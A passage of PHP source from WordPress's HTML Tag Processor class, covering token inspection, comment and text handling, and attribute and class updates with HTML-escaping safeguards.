				case 'stitchtiles':
					return 'stitchTiles';

				case 'surfacescale':
					return 'surfaceScale';

				case 'systemlanguage':
					return 'systemLanguage';

				case 'tablevalues':
					return 'tableValues';

				case 'targetx':
					return 'targetX';

				case 'targety':
					return 'targetY';

				case 'textlength':
					return 'textLength';

				case 'viewbox':
					return 'viewBox';

				case 'viewtarget':
					return 'viewTarget';

				case 'xchannelselector':
					return 'xChannelSelector';

				case 'ychannelselector':
					return 'yChannelSelector';

				case 'zoomandpan':
					return 'zoomAndPan';
			}
		}

		if ( 'html' !== $namespace ) {
			switch ( $lower_name ) {
				case 'xlink:actuate':
					return 'xlink actuate';

				case 'xlink:arcrole':
					return 'xlink arcrole';

				case 'xlink:href':
					return 'xlink href';

				case 'xlink:role':
					return 'xlink role';

				case 'xlink:show':
					return 'xlink show';

				case 'xlink:title':
					return 'xlink title';

				case 'xlink:type':
					return 'xlink type';

				case 'xml:lang':
					return 'xml lang';

				case 'xml:space':
					return 'xml space';

				case 'xmlns':
					return 'xmlns';

				case 'xmlns:xlink':
					return 'xmlns xlink';
			}
		}

		return $attribute_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.3.0
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		/*
		 * The self-closing flag is the solidus at the _end_ of the tag, not the beginning.
		 *
		 * Example:
		 *
		 *     <figure />
		 *             ^ this appears one character before the end of the closing ">".
		 */
		return '/' === $this->html[ $this->token_starts_at + $this->token_length - 2 ];
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.2.0
	 * @since 6.7.0 Reports all BR tags as opening tags.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return (
			self::STATE_MATCHED_TAG === $this->parser_state &&
			$this->is_closing_tag &&

			/*
			 * The BR tag can only exist as an opening tag. If something like `</br>`
			 * appears then the HTML parser will treat it as an opening tag with no
			 * attributes. The BR tag is unique in this way.
			 *
			 * @see https://html.spec.whatwg.org/#parsing-main-inbody
			 */
			'BR' !== $this->get_tag()
		);
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return '#tag';

			case self::STATE_DOCTYPE:
				return '#doctype';

			default:
				return $this->get_token_name();
		}
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return $this->get_tag();

			case self::STATE_TEXT_NODE:
				return '#text';

			case self::STATE_CDATA_NODE:
				return '#cdata-section';

			case self::STATE_COMMENT:
				return '#comment';

			case self::STATE_DOCTYPE:
				return 'html';

			case self::STATE_PRESUMPTUOUS_TAG:
				return '#presumptuous-tag';

			case self::STATE_FUNKY_COMMENT:
				return '#funky-comment';
		}

		return null;
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.5.0
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		return $this->comment_type;
	}

	/**
	 * Returns the text of a matched comment or null if not on a comment type node.
	 *
	 * This method returns the entire text content of a comment node as it
	 * would appear in the browser.
	 *
	 * This differs from {@see ::get_modifiable_text()} in that certain comment
	 * types in the HTML API cannot allow their entire comment text content to
	 * be modified. Namely, "bogus comments" of the form `<?not allowed in html>`
	 * will create a comment whose text content starts with `?`. Note that if
	 * that character were modified, it would be possible to change the node
	 * type.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null The comment text as it would appear in the browser or null
	 *                     if not on a comment type node.
	 */
	public function get_full_comment_text(): ?string {
		if ( self::STATE_FUNKY_COMMENT === $this->parser_state ) {
			return $this->get_modifiable_text();
		}

		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		switch ( $this->get_comment_type() ) {
			case self::COMMENT_AS_HTML_COMMENT:
			case self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT:
				return $this->get_modifiable_text();

			case self::COMMENT_AS_CDATA_LOOKALIKE:
				return "[CDATA[{$this->get_modifiable_text()}]]";

			case self::COMMENT_AS_PI_NODE_LOOKALIKE:
				return "?{$this->get_tag()}{$this->get_modifiable_text()}?";

			/*
			 * This represents "bogus comments state" from HTML tokenization.
			 * This can be entered by `<?` or `<!`, where `?` is included in
			 * the comment text but `!` is not.
			 */
			case self::COMMENT_AS_INVALID_HTML:
				$preceding_character = $this->html[ $this->text_starts_at - 1 ];
				$comment_start       = '?' === $preceding_character ? '?' : '';
				return "{$comment_start}{$this->get_modifiable_text()}";
		}

		return null;
	}

	/**
	 * Subdivides a matched text node, splitting NULL byte sequences and decoded whitespace as
	 * distinct nodes prefixes.
	 *
	 * Note that once anything that's neither a NULL byte nor decoded whitespace is
	 * encountered, then the remainder of the text node is left intact as generic text.
	 *
	 *  - The HTML Processor uses this to apply distinct rules for different kinds of text.
	 *  - Inter-element whitespace can be detected and skipped with this method.
	 *
	 * Text nodes aren't eagerly subdivided because there's no need to split them unless
	 * decisions are being made on NULL byte sequences or whitespace-only text.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "\x00Apples & Oranges" );
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "".
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "&#x13; \r\n\tMore" );
	 *     true  === $processor->next_token();                   // Text is "␤ ␤␉More".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "␤ ␤␉".
	 *     true  === $processor->next_token();                   // Text is "More".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 * @since 6.7.0
	 *
	 * @return bool Whether the text node was subdivided.
	 */
	public function subdivide_text_appropriately(): bool {
		if ( self::STATE_TEXT_NODE !== $this->parser_state ) {
			return false;
		}

		$this->text_node_classification = self::TEXT_IS_GENERIC;

		/*
		 * NULL bytes are treated categorically different than numeric character
		 * references whose number is zero. `&#x00;` is not the same as `"\x00"`.
		 */
		$leading_nulls = strspn( $this->html, "\x00", $this->text_starts_at, $this->text_length );
		if ( $leading_nulls > 0 ) {
			$this->token_length             = $leading_nulls;
			$this->text_length              = $leading_nulls;
			$this->bytes_already_parsed     = $this->token_starts_at + $leading_nulls;
			$this->text_node_classification = self::TEXT_IS_NULL_SEQUENCE;
			return true;
		}

		/*
		 * Start a decoding loop to determine the point at which the
		 * text subdivides. This entails raw whitespace bytes and any
		 * character reference that decodes to the same.
		 */
		$at  = $this->text_starts_at;
		$end = $this->text_starts_at + $this->text_length;
		while ( $at < $end ) {
			$skipped = strspn( $this->html, " \t\f\r\n", $at, $end - $at );
			$at     += $skipped;

			if ( $at < $end && '&' === $this->html[ $at ] ) {
				$matched_byte_length = null;
				$replacement         = WP_HTML_Decoder::read_character_reference( 'data', $this->html, $at, $matched_byte_length );
				if ( isset( $replacement ) && 1 === strspn( $replacement, " \t\f\r\n" ) ) {
					$at += $matched_byte_length;
					continue;
				}
			}

			break;
		}

		if ( $at > $this->text_starts_at ) {
			$new_length                     = $at - $this->text_starts_at;
			$this->text_length              = $new_length;
			$this->token_length             = $new_length;
			$this->bytes_already_parsed     = $at;
			$this->text_node_classification = self::TEXT_IS_WHITESPACE;
			return true;
		}

		return false;
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * Limitations:
	 *
	 *  - This function will not strip the leading newline appropriately
	 *    after seeking into a LISTING or PRE element. To ensure that the
	 *    newline is treated properly, seek to the LISTING or PRE opening
	 *    tag instead of to the first text node inside the element.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Replaces NULL bytes (U+0000) and newlines appropriately.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		$has_enqueued_update = isset( $this->lexical_updates['modifiable text'] );

		if ( ! $has_enqueued_update && ( null === $this->text_starts_at || 0 === $this->text_length ) ) {
			return '';
		}

		$text = $has_enqueued_update
			? $this->lexical_updates['modifiable text']->text
			: substr( $this->html, $this->text_starts_at, $this->text_length );

		/*
		 * Pre-processing the input stream would normally happen before
		 * any parsing is done, but deferring it means it's possible to
		 * skip in most cases. When getting the modifiable text, however
		 * it's important to apply the pre-processing steps, which is
		 * normalizing newlines.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$text = str_replace( "\r\n", "\n", $text );
		$text = str_replace( "\r", "\n", $text );

		// Comment data is not decoded.
		if (
			self::STATE_CDATA_NODE === $this->parser_state ||
			self::STATE_COMMENT === $this->parser_state ||
			self::STATE_DOCTYPE === $this->parser_state ||
			self::STATE_FUNKY_COMMENT === $this->parser_state
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$tag_name = $this->get_token_name();
		if (
			// Script data is not decoded.
			'SCRIPT' === $tag_name ||

			// RAWTEXT data is not decoded.
			'IFRAME' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'STYLE' === $tag_name ||
			'XMP' === $tag_name
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$decoded = WP_HTML_Decoder::decode_text_node( $text );

		/*
		 * Skip the first line feed after LISTING, PRE, and TEXTAREA opening tags.
		 *
		 * Note that this first newline may come in the form of a character
		 * reference, such as `&#x0a;`, and so it's important to perform
		 * this transformation only after decoding the raw text content.
		 */
		if (
			( "\n" === ( $decoded[0] ?? '' ) ) &&
			( ( $this->skip_newline_at === $this->token_starts_at && '#text' === $tag_name ) || 'TEXTAREA' === $tag_name )
		) {
			$decoded = substr( $decoded, 1 );
		}

		/*
		 * Only in normative text nodes does the NULL byte (U+0000) get removed.
		 * In all other contexts it's replaced by the replacement character (U+FFFD)
		 * for security reasons (to avoid joining together strings that were safe
		 * when separated, but not when joined).
		 *
		 * @todo Inside HTML integration points and MathML integration points, the
		 *       text is processed according to the insertion mode, not according
		 *       to the foreign content rules. This should strip the NULL bytes.
		 */
		return ( '#text' === $tag_name && 'html' === $this->get_namespace() )
			? str_replace( "\x00", '', $decoded )
			: str_replace( "\x00", "\u{FFFD}", $decoded );
	}

	/**
	 * Sets the modifiable text for the matched token, if matched.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * Not all modifiable text may be set by this method, and not all content
	 * may be set as modifiable text. In the case that this fails it will return
	 * `false` indicating as much. For instance, it will not allow inserting the
	 * string `</script` into a SCRIPT element, because the rules for escaping
	 * that safely are complicated. Similarly, it will not allow setting content
	 * into a comment which would prematurely terminate the comment.
	 *
	 * Example:
	 *
	 *     // Add a preface to all STYLE contents.
	 *     while ( $processor->next_tag( 'STYLE' ) ) {
	 *         $style = $processor->get_modifiable_text();
	 *         $processor->set_modifiable_text( "// Made with love on the World Wide Web\n{$style}" );
	 *     }
	 *
	 *     // Replace smiley text with Emoji smilies.
	 *     while ( $processor->next_token() ) {
	 *         if ( '#text' !== $processor->get_token_name() ) {
	 *             continue;
	 *         }
	 *
	 *         $chunk = $processor->get_modifiable_text();
	 *         if ( ! str_contains( $chunk, ':)' ) ) {
	 *             continue;
	 *         }
	 *
	 *         $processor->set_modifiable_text( str_replace( ':)', '🙂', $chunk ) );
	 *     }
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders as “Eggs & Milk” in a browser, encoded as `<p>Eggs &amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs & Milk' );
	 *
	 *     // Renders as “Eggs &amp; Milk” in a browser, encoded as `<p>Eggs &amp;amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs &amp; Milk' );
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string $plaintext_content New text content to represent in the matched token.
	 * @return bool Whether the text was able to update.
	 */
	public function set_modifiable_text( string $plaintext_content ): bool {
		if ( self::STATE_TEXT_NODE === $this->parser_state ) {
			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				strtr(
					$plaintext_content,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				)
			);

			return true;
		}

		// Comment data is not encoded.
		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_HTML_COMMENT === $this->comment_type
		) {
			// Check if the text could close the comment.
			if ( 1 === preg_match( '/--!?>/', $plaintext_content ) ) {
				return false;
			}

			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				$plaintext_content
			);

			return true;
		}

		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		switch ( $this->get_tag() ) {
			case 'SCRIPT':
				/**
				 * This is over-protective, but ensures the update doesn't break
				 * the HTML structure of the SCRIPT element.
				 *
				 * More thorough analysis could track the HTML tokenizer states
				 * and to ensure that the SCRIPT element closes at the expected
				 * SCRIPT close tag as is done in {@see ::skip_script_data()}.
				 *
				 * A SCRIPT element could be closed prematurely by contents
				 * like `</script>`. A SCRIPT element could be prevented from
				 * closing by contents like `<!--<script>`.
				 *
				 * The following strings are essential for dangerous content,
				 * although they are insufficient on their own. This trade-off
				 * prevents dangerous scripts from being sent to the browser.
				 * It is also unlikely to produce HTML that may confuse more
				 * basic HTML tooling.
				 */
				if (
					false !== stripos( $plaintext_content, '</script' ) ||
					false !== stripos( $plaintext_content, '<script' )
				) {
					return false;
				}

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'STYLE':
				$plaintext_content = preg_replace_callback(
					'~</(?P<TAG_NAME>style)~i',
					static function ( $tag_match ) {
						return "\\3c\\2f{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'TEXTAREA':
			case 'TITLE':
				$plaintext_content = preg_replace_callback(
					"~</(?P<TAG_NAME>{$this->get_tag()})~i",
					static function ( $tag_match ) {
						return "&lt;/{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				/*
				 * These don't _need_ to be escaped, but since they are decoded it's
				 * safe to leave them escaped and this can prevent other code from
				 * naively detecting tags within the contents.
				 *
				 * @todo It would be useful to prefix a multiline replacement text
				 *       with a newline, but not necessary. This is for aesthetics.
				 */
				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;
		}

		return false;
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Fix: Only create a single update for multiple calls with case-variant attribute names.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		$name_length = strlen( $name );

		/**
		 * WordPress rejects more characters than are strictly forbidden
		 * in HTML5. This is to prevent additional security risks deeper
		 * in the WordPress and plugin stack. Specifically the following
		 * are not allowed to be set as part of an HTML attribute name:
		 *
		 *  - greater-than “>”
		 *  - ampersand “&”
		 *
		 * @see https://html.spec.whatwg.org/#attributes-2
		 */
		if (
			0 === $name_length ||
			// Syntax-like characters.
			strcspn( $name, '"\'>&</ =' ) !== $name_length ||
			// Control characters.
			strcspn(
				$name,
				"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" .
				"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"
			) !== $name_length ||
			// Unicode noncharacters.
			wp_has_noncharacters( $name )
		) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Invalid attribute name.' ),
				'6.2.0'
			);

			return false;
		}

		/*
		 * > The values "true" and "false" are not allowed on boolean attributes.
		 * > To represent a false value, the attribute has to be omitted altogether.
		 *     - HTML5 spec, https://html.spec.whatwg.org/#boolean-attributes
		 */
		if ( false === $value ) {
			return $this->remove_attribute( $name );
		}

		if ( true === $value ) {
			$updated_attribute = $name;
		} else {
			$comparable_name = strtolower( $name );

			/**
			 * Escape attribute values appropriately.
			 *
			 * @see https://html.spec.whatwg.org/#attributes-3
			 */
			$escaped_new_value = in_array( $comparable_name, wp_kses_uri_attributes(), true )
				? esc_url( $value )
				: strtr(
					$value,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				);

			// If the escaping functions wiped out the update, reject it and indicate it was rejected.
			if ( '' === $escaped_new_value && '' !== $value ) {
				return false;
			}

			$updated_attribute = "{$name}=\"{$escaped_new_value}\"";
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $name );

		if ( isset( $this->attributes[ $comparable_name ] ) ) {
			/*
			 * Update an existing attribute.
			 *
			 * Example – set attribute id to "new" in <div id="initial_id" />:
			 *
			 *     <div id="initial_id"/>
			 *          ^-------------^
			 *          start         end
			 *     replacement: `id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$existing_attribute                        = $this->attributes[ $comparable_name ];
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$existing_attribute->start,
				$existing_attribute->length,
				$updated_attribute
			);
		} else {
			/*
			 * Create a new attribute at the tag's name end.
			 *
			 * Example – add attribute id="new" to <div />:
			 *
			 *     <div/>
			 *         ^
			 *         start and end
			 *     replacement: ` id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$this->tag_name_starts_at + $this->tag_name_length,
				0,
				' ' . $updated_attribute
			);
		}

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $comparable_name && ! empty( $this->classname_updates ) ) {
			$this->classname_updates = array();
		}

		return true;
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$name = strtolower( $name );

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $name && count( $this->classname_updates ) !== 0 ) {
			$this->classname_updates = array();
		}

		/*
		 * If updating an attribute that didn't exist in the input
		 * document, then remove the enqueued update and move on.
		 *
		 * For example, this might occur when calling `remove_attribute()`
		 * after calling `set_attribute()` for the same attribute
		 * and when that attribute wasn't originally present.
		 */
		if ( ! isset( $this->attributes[ $name ] ) ) {
			if ( isset( $this->lexical_updates[ $name ] ) ) {
				unset( $this->lexical_updates[ $name ] );
			}
			return false;
		}

		/*
		 * Removes an existing tag attribute.
		 *
		 * Example – remove the attribute id from <div id="main"/>:
		 *    <div id="initial_id"/>
		 *         ^-------------^
		 *         start         end
		 *    replacement: ``
		 *
		 *    Result: <div />
		 */
		$this->lexical_updates[ $name ] = new WP_HTML_Text_Replacement(
			$this->attributes[ $name ]->start,
			$this->attributes[ $name ]->length,
			''
		);

		// Removes any duplicated attributes if they were also present.
		foreach ( $this->duplicate_attributes[ $name ] ?? array() as $attribute_token ) {
			$this->lexical_updates[] = new WP_HTML_Text_Replacement(
				$attribute_token->start,
				$attribute_token->length,
				''
			);
		}

		return true;
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::ADD_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::ADD_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::ADD_CLASS;
		return true;
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::REMOVE_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
		return true;
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::get_updated_html()
	 *
	 * @return string The processed HTML.
	 */
	public function __toString(): string {
		return $this->get_updated_html();
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Shifts the internal cursor corresponding to the applied updates.
	 * @since 6.4.0 No longer calls subclass method `next_tag()` after updating HTML.
	 *
	 * @return string The processed HTML.
	 */
	public function get_updated_html(): string {
		$requires_no_updating = 0 === count( $this->classname_updates ) && 0 === count( $this->lexical_updates );

		/*
		 * When there is nothing more to update and nothing has already been
		 * updated, return the original document and avoid a string copy.
		 */
		if ( $requires_no_updating ) {
			return $this->html;
		}

		/*
		 * Keep track of the position right before the current tag. This will
		 * be necessary for reparsing the current tag after updating the HTML.
		 */
		$before_current_tag = $this->token_starts_at ?? 0;

		/*
		 * 1. Apply the enqueued edits and update all the pointers to reflect those changes.
		 */
		$this->class_name_updates_to_attributes_updates();
		$before_current_tag += $this->apply_attributes_updates( $before_current_tag );

		/*
		 * 2. Rewind to before the current tag and reparse to get updated attributes.
		 *
		 * At this point the internal cursor points to the end of the tag name.
		 * Rewind before the tag name starts so that it's as if the cursor didn't
		 * move; a call to `next_tag()` will reparse the recently-updated attributes
		 * and additional calls to modify the attributes will apply at this same
		 * location, but in order to avoid issues with subclasses that might add
		 * behaviors to `next_tag()`, the internal methods should be called here
		 * instead.
		 *
		 * It's important to note that in this specific place there will be no change
		 * because the processor was already at a tag when this was called and it's
		 * rewinding only to the beginning of this very tag before reprocessing it
		 * and its attributes.
		 *
		 * <p>Previous HTML<em>More HTML</em></p>
		 *                 ↑  │ back up by the length of the tag name plus the opening <
		 *                 └←─┘ back up by strlen("em") + 1 ==> 3
		 */
		$this->bytes_already_parsed = $before_current_tag;
		$this->base_class_next_token();

		return $this->html;
	}

	/**
	 * Parses tag query input into internal search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this class name to match.
	 *     @type string      $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 */
	private function parse_query( $query ) {
		if ( null !== $query && $query === $this->last_query ) {
			return;
		}

		$this->last_query          = $query;
		$this->sought_tag_name     = null;
		$this->sought_class_name   = null;
		$this->sought_match_offset = 1;
		$this->stop_on_tag_closers = false;

		// A single string value means "find the tag of this name".
		if ( is_string( $query ) ) {
			$this->sought_tag_name = $query;
			return;
		}

